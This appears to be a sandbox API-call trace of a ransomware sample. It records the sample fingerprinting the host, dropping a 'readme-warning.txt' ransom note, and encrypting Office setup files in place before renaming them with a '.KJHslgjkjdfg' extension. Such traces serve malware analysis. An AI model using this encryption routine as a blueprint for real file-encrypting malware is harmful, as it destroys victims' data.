[0164.577] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.577] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.577] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.577] GetProcessHeap () returned 0x990000 [0164.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.577] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.577] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.577] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.577] GetProcessHeap () returned 0x990000 [0164.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.577] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.577] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.577] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.577] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.577] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.578] RegCloseKey (hKey=0x114) returned 0x0 [0164.578] GetProcessHeap () returned 0x990000 [0164.578] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.578] GetProcessHeap () returned 0x990000 [0164.578] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.578] GetProcessHeap () returned 0x990000 [0164.578] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.578] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.578] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.578] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.578] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.578] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.578] GetProcessHeap () returned 0x990000 [0164.578] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.578] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.578] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.578] GetProcessHeap () returned 0x990000 [0164.578] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.578] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\readme-warning.txt") returned 112 [0164.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.584] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.585] CloseHandle (hObject=0x114) returned 1 [0164.585] GetProcessHeap () returned 0x990000 [0164.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.585] GetProcessHeap () returned 0x990000 [0164.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.585] GetProcessHeap () returned 0x990000 [0164.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.585] GetProcessHeap () returned 0x990000 [0164.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.585] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.585] GetProcessHeap () returned 0x990000 [0164.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.585] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0164.585] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0164.585] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0164.585] GetProcessHeap () returned 0x990000 [0164.586] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xcc) returned 0x9b2468 [0164.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.587] GetProcessHeap () returned 0x990000 [0164.587] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.587] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.587] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0164.587] GetProcessHeap () returned 0x990000 [0164.587] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2ce) returned 0x9b7e10 [0164.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.588] GetProcessHeap () returned 0x990000 [0164.588] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.588] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.588] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xe, lpOverlapped=0x0) returned 1 [0164.590] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.590] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.590] GetProcessHeap () returned 0x990000 [0164.590] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.590] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.590] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.590] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.591] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.591] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.591] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.591] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.591] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.591] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0xc72, lpOverlapped=0x0) returned 1 [0164.591] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xc80, dwBufLen=0xc80 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xc80) returned 1 [0164.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.591] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0xc80, lpOverlapped=0x0) returned 1 [0164.591] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.591] SetEndOfFile (hFile=0x114) returned 1 [0164.593] GetProcessHeap () returned 0x990000 [0164.593] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.594] GetProcessHeap () returned 0x990000 [0164.594] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.kjhslgjkjdfg")) returned 1 [0164.599] CloseHandle (hObject=0x114) returned 1 [0164.599] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.600] GetProcessHeap () returned 0x990000 [0164.600] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.600] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.600] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.600] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x1, lpOverlapped=0x0) returned 1 [0164.602] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.602] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.602] GetProcessHeap () returned 0x990000 [0164.602] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.603] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.603] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.603] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.603] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.603] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.603] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.603] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.603] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.603] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x106f, lpOverlapped=0x0) returned 1 [0164.604] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1070, dwBufLen=0x1070 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1070) returned 1 [0164.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.604] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x1070, lpOverlapped=0x0) returned 1 [0164.604] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.604] SetEndOfFile (hFile=0x114) returned 1 [0164.606] GetProcessHeap () returned 0x990000 [0164.606] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.607] GetProcessHeap () returned 0x990000 [0164.607] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.609] CloseHandle (hObject=0x114) returned 1 [0164.609] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.609] GetProcessHeap () returned 0x990000 [0164.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.609] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.609] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.609] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.609] GetProcessHeap () returned 0x990000 [0164.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.609] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.609] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.609] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.609] GetProcessHeap () returned 0x990000 [0164.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.610] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.610] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.610] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.610] GetProcessHeap () returned 0x990000 [0164.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.610] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.610] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.610] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.610] GetProcessHeap () returned 0x990000 [0164.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.610] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.610] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.610] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.610] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.610] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.610] RegCloseKey (hKey=0x114) returned 0x0 [0164.610] GetProcessHeap () returned 0x990000 [0164.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.610] GetProcessHeap () returned 0x990000 [0164.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.611] GetProcessHeap () returned 0x990000 [0164.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.611] 